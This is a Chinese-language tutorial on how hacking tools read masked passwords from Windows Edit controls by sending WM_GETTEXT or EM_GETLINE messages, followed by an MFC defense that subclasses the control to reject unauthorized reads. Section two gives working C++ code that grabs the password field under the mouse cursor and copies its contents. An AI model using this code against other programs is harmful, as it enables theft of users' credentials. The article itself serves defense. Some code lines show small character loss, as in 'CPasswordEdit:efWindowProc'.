黑客非法探取密码的原理及安全防范
一、非法获取Password的原理
Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。
二、黑客软件工作方法
首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:
//将客户坐标转换成屏幕坐标 ClientToScreen(&point); //返回一个包含指定屏幕坐标点的窗口 CWnd* pWnd = CWnd::WindowFromPoint(point); if (pWnd) { //获取窗口句柄 HWND hwndCurr = pWnd->GetSafeHwnd(); if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL))) { char lpClassName[255]; //获取类名 if (::GetClassName(hwndCurr, lpClassName, 255)) { //判断是否是Edit控件 if (0 == m_strWndClass.CompareNoCase("EDIT")) { //获取窗口风格 LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE); //如果设置了ES_PASSWORD属性 if (lStyle & ES_PASSWORD) { char szText[255]; //通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息 ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中 m_strPassword = szText; } } } } }
上述代码中值得注意的有以下几个关键地方:
ClientToScreen(&point); CWnd* pWnd = CWnd::WindowFromPoint(point); HWND hwndCurr = pWnd->GetSafeHwnd();
这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。
这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。
三、防范措施
既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种方法来验证发送消息者的身份是否合法:
1.创建新CEdit类
从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity;
然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:
LRESULTCPasswordEdit:efWindowProc (UINTmessage,WPARAMwParam,LPARAMlParam) { //对Edit的内容获取必须通过以下两个消息之一 if((message==WM_GETTEXT) ||(message==EM_GETLINE)) { //检查是否为合法 if(!g_bSenderIdentity) { //非法获取,显示信息 AfxMessageBox(_T ("报告:正在试图窃取密码!")); return 0; } //合法获取 g_bSenderIdentity=FALSE; } return CEdit:efWindowProc (message,wParam,lParam); }
2.在数据输入对话框中做些处理
在对话框中申明一个类成员
m_edtPassword:CpasswordEdit m_edtPassword;
然后在对话框的OnInitDialog()中加入下列代码:
m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);
将控制与新类做关联。之后要在对话框的数据交换函数中将身份设为合法:
void CDlgInput:oDataExchange (CDataExchange*pDX) { //如果获取数据 //注意:对于CPropertyPage类这里不需要if (pDX->m_bSaveAndValidate)条件 if(pDX->m_bSaveAndValidate) { g_bSenderIdentity=TRUE; } CDialog:oDataExchange(pDX); //{{AFX_DATA_MAP(CDlgInput) DDX_Text (pDX,IDC_EDIT_PASSWORD,m_sPassword); //}}AFX_DATA_MAP }
这样,Password输入框就拥有了合法身份,会受到保护。
结论
以上的方法仅针对VC程序,对于其他语言如VB、Delphi等语言,需要借助VC做一个Password的ActiveX控件,实现方法与上述方法基本类似。以上程序均用VisualC++6.0编制调试通过。
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